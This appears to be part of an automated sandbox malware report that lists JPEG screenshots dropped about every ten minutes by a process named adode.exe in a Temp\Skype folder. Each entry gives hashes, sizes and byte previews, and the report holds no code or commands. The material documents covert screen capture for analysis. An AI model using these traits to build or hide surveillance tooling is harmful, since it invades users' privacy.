SHA-512:	6E512053A1EAA827C9E6AD2BE0EA11B70EC3A769025854BA9038B0E3A61B2FC2916F452ED42FCF0787D4BCBAE38BD0179E0F7E244034FB7EC2F592A41CC9E0D1
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240419_195926.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	151430
Entropy (8bit):	7.918221430287366
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfz5RLb/qPc:WpgzOCtbRJPBBcFJPT
MD5:	197989B789D3583D2F9516735F52A44D
SHA1:	0CFD7B450080791A566E472ABBDFE4CAEA17481F
SHA-256:	9D92D2FAD3CD6AA8F463CF8472104C45E4CB076E5CD379BC6CEA4E1F38F30EEC
SHA-512:	6E512053A1EAA827C9E6AD2BE0EA11B70EC3A769025854BA9038B0E3A61B2FC2916F452ED42FCF0787D4BCBAE38BD0179E0F7E244034FB7EC2F592A41CC9E0D1
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240419_200926.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	151430
Entropy (8bit):	7.918221430287366
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfz5RLb/qPc:WpgzOCtbRJPBBcFJPT
MD5:	197989B789D3583D2F9516735F52A44D
SHA1:	0CFD7B450080791A566E472ABBDFE4CAEA17481F
SHA-256:	9D92D2FAD3CD6AA8F463CF8472104C45E4CB076E5CD379BC6CEA4E1F38F30EEC
SHA-512:	6E512053A1EAA827C9E6AD2BE0EA11B70EC3A769025854BA9038B0E3A61B2FC2916F452ED42FCF0787D4BCBAE38BD0179E0F7E244034FB7EC2F592A41CC9E0D1
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240419_201927.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	151430
Entropy (8bit):	7.918221430287366
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfz5RLb/qPc:WpgzOCtbRJPBBcFJPT
MD5:	197989B789D3583D2F9516735F52A44D
SHA1:	0CFD7B450080791A566E472ABBDFE4CAEA17481F
SHA-256:	9D92D2FAD3CD6AA8F463CF8472104C45E4CB076E5CD379BC6CEA4E1F38F30EEC
SHA-512:	6E512053A1EAA827C9E6AD2BE0EA11B70EC3A769025854BA9038B0E3A61B2FC2916F452ED42FCF0787D4BCBAE38BD0179E0F7E244034FB7EC2F592A41CC9E0D1
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240419_202927.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	149505
Entropy (8bit):	7.918190640893898
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfz5RLNlX/X36M/TmoB:WpgzOCtbRJPBBcFJz/nb/KoB
MD5:	6861DA589EB79AA3DF677DB8294FF249
SHA1:	E0F5F4015E946CCD32E0D5E44ECEC901F1B5D106
SHA-256:	BD978D5C4FD5986A30F5266EDC8A5C3D84580041B1DAE93DF5F9685049E1427F
SHA-512:	DA2F0D8F839DD224384F3FC196D93D49977331AEAC8631A610D880329F764D98424707AD832DEF324E1F2EE9DD095ADC93DDA1431962FD62D2A2C107B26B4E39
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240419_203927.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	149505
Entropy (8bit):	7.918190640893898
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfz5RLNlX/X36M/TmoB:WpgzOCtbRJPBBcFJz/nb/KoB
MD5:	6861DA589EB79AA3DF677DB8294FF249
SHA1:	E0F5F4015E946CCD32E0D5E44ECEC901F1B5D106
SHA-256:	BD978D5C4FD5986A30F5266EDC8A5C3D84580041B1DAE93DF5F9685049E1427F
SHA-512:	DA2F0D8F839DD224384F3FC196D93D49977331AEAC8631A610D880329F764D98424707AD832DEF324E1F2EE9DD095ADC93DDA1431962FD62D2A2C107B26B4E39
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240419_204927.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	149505
Entropy (8bit):	7.918190640893898
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfz5RLNlX/X36M/TmoB:WpgzOCtbRJPBBcFJz/nb/KoB
MD5:	6861DA589EB79AA3DF677DB8294FF249
SHA1:	E0F5F4015E946CCD32E0D5E44ECEC901F1B5D106
SHA-256:	BD978D5C4FD5986A30F5266EDC8A5C3D84580041B1DAE93DF5F9685049E1427F
SHA-512:	DA2F0D8F839DD224384F3FC196D93D49977331AEAC8631A610D880329F764D98424707AD832DEF324E1F2EE9DD095ADC93DDA1431962FD62D2A2C107B26B4E39
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240419_205928.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	149505
Entropy (8bit):	7.918190640893898
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfz5RLNlX/X36M/TmoB:WpgzOCtbRJPBBcFJz/nb/KoB
MD5:	6861DA589EB79AA3DF677DB8294FF249
SHA1:	E0F5F4015E946CCD32E0D5E44ECEC901F1B5D106
SHA-256:	BD978D5C4FD5986A30F5266EDC8A5C3D84580041B1DAE93DF5F9685049E1427F
SHA-512:	DA2F0D8F839DD224384F3FC196D93D49977331AEAC8631A610D880329F764D98424707AD832DEF324E1F2EE9DD095ADC93DDA1431962FD62D2A2C107B26B4E39
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240419_210928.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	149505
Entropy (8bit):	7.918190640893898
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfz5RLNlX/X36M/TmoB:WpgzOCtbRJPBBcFJz/nb/KoB
MD5:	6861DA589EB79AA3DF677DB8294FF249
SHA1:	E0F5F4015E946CCD32E0D5E44ECEC901F1B5D106
SHA-256:	BD978D5C4FD5986A30F5266EDC8A5C3D84580041B1DAE93DF5F9685049E1427F
SHA-512:	DA2F0D8F839DD224384F3FC196D93D49977331AEAC8631A610D880329F764D98424707AD832DEF324E1F2EE9DD095ADC93DDA1431962FD62D2A2C107B26B4E39
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240419_211928.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	149505
Entropy (8bit):	7.918190640893898
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfz5RLNlX/X36M/TmoB:WpgzOCtbRJPBBcFJz/nb/KoB
MD5:	6861DA589EB79AA3DF677DB8294FF249
SHA1:	E0F5F4015E946CCD32E0D5E44ECEC901F1B5D106
SHA-256:	BD978D5C4FD5986A30F5266EDC8A5C3D84580041B1DAE93DF5F9685049E1427F
SHA-512:	DA2F0D8F839DD224384F3FC196D93D49977331AEAC8631A610D880329F764D98424707AD832DEF324E1F2EE9DD095ADC93DDA1431962FD62D2A2C107B26B4E39
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240419_212929.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	149505
Entropy (8bit):	7.918190640893898
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfz5RLNlX/X36M/TmoB:WpgzOCtbRJPBBcFJz/nb/KoB
MD5:	6861DA589EB79AA3DF677DB8294FF249
SHA1:	E0F5F4015E946CCD32E0D5E44ECEC901F1B5D106
SHA-256:	BD978D5C4FD5986A30F5266EDC8A5C3D84580041B1DAE93DF5F9685049E1427F
SHA-512:	DA2F0D8F839DD224384F3FC196D93D49977331AEAC8631A610D880329F764D98424707AD832DEF324E1F2EE9DD095ADC93DDA1431962FD62D2A2C107B26B4E39
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240419_213929.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	151253
Entropy (8bit):	7.925607514304469
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfZ14A8VqeW2Kh:WpgzOCtbRJPBBcFJb4Amqdb
MD5:	BCA848E53B0A0FFE18064B181E1FD711
SHA1:	4C77DD697C66F0506A94AEF752A697097F5830B8
SHA-256:	282F59574F8C216953CE29FCFB48FBEDF1F04A17332B22383399F6EA56E83F5F
SHA-512:	17EDEFFB9AC8D9F64A6FCDAF94B4359020A753BD65048045800E36162BA46BC6BCF475EA1FB52714FAC357839AE89DF691C0761143E2E06BAA8C7ABBA363349F
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240419_214934.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	149505
Entropy (8bit):	7.918190640893898
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfz5RLNlX/X36M/TmoB:WpgzOCtbRJPBBcFJz/nb/KoB
MD5:	6861DA589EB79AA3DF677DB8294FF249
SHA1:	E0F5F4015E946CCD32E0D5E44ECEC901F1B5D106
SHA-256:	BD978D5C4FD5986A30F5266EDC8A5C3D84580041B1DAE93DF5F9685049E1427F
SHA-512:	DA2F0D8F839DD224384F3FC196D93D49977331AEAC8631A610D880329F764D98424707AD832DEF324E1F2EE9DD095ADC93DDA1431962FD62D2A2C107B26B4E39
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240419_215935.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	151430
Entropy (8bit):	7.918221430287366
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfz5RLb/qPc:WpgzOCtbRJPBBcFJPT
MD5:	197989B789D3583D2F9516735F52A44D
SHA1:	0CFD7B450080791A566E472ABBDFE4CAEA17481F
SHA-256:	9D92D2FAD3CD6AA8F463CF8472104C45E4CB076E5CD379BC6CEA4E1F38F30EEC
SHA-512:	6E512053A1EAA827C9E6AD2BE0EA11B70EC3A769025854BA9038B0E3A61B2FC2916F452ED42FCF0787D4BCBAE38BD0179E0F7E244034FB7EC2F592A41CC9E0D1
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240419_220935.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	151430
Entropy (8bit):	7.918221430287366
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfz5RLb/qPc:WpgzOCtbRJPBBcFJPT
MD5:	197989B789D3583D2F9516735F52A44D
SHA1:	0CFD7B450080791A566E472ABBDFE4CAEA17481F
SHA-256:	9D92D2FAD3CD6AA8F463CF8472104C45E4CB076E5CD379BC6CEA4E1F38F30EEC
SHA-512:	6E512053A1EAA827C9E6AD2BE0EA11B70EC3A769025854BA9038B0E3A61B2FC2916F452ED42FCF0787D4BCBAE38BD0179E0F7E244034FB7EC2F592A41CC9E0D1
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240419_221935.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	151430
Entropy (8bit):	7.918221430287366
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfz5RLb/qPc:WpgzOCtbRJPBBcFJPT
MD5:	197989B789D3583D2F9516735F52A44D
SHA1:	0CFD7B450080791A566E472ABBDFE4CAEA17481F
SHA-256:	9D92D2FAD3CD6AA8F463CF8472104C45E4CB076E5CD379BC6CEA4E1F38F30EEC
SHA-512:	6E512053A1EAA827C9E6AD2BE0EA11B70EC3A769025854BA9038B0E3A61B2FC2916F452ED42FCF0787D4BCBAE38BD0179E0F7E244034FB7EC2F592A41CC9E0D1
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240419_222936.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	151430
Entropy (8bit):	7.918221430287366
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfz5RLb/qPc:WpgzOCtbRJPBBcFJPT
MD5:	197989B789D3583D2F9516735F52A44D
SHA1:	0CFD7B450080791A566E472ABBDFE4CAEA17481F
SHA-256:	9D92D2FAD3CD6AA8F463CF8472104C45E4CB076E5CD379BC6CEA4E1F38F30EEC
SHA-512:	6E512053A1EAA827C9E6AD2BE0EA11B70EC3A769025854BA9038B0E3A61B2FC2916F452ED42FCF0787D4BCBAE38BD0179E0F7E244034FB7EC2F592A41CC9E0D1
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20240419_223936.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	151430
Entropy (8bit):	7.918221430287366
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfz5RLb/qPc:WpgzOCtbRJPBBcFJPT
MD5:	197989B789D3583D2F9516735F52A44D
SHA1:	0CFD7B450080791A566E472ABBDFE4CAEA17481F
SHA-256:	9D92D2FAD3CD6AA8F463CF8472104C45E4CB076E5CD379BC6CEA4E1F38F30EEC
SHA-512:	6E512053A1EAA827C9E6AD2BE0EA11B70EC3A769025854BA9038B0E3A61B2FC2916F452ED42FCF0787D4BCBAE38BD0179E0F7E244034FB7EC2F592A41CC9E0D1
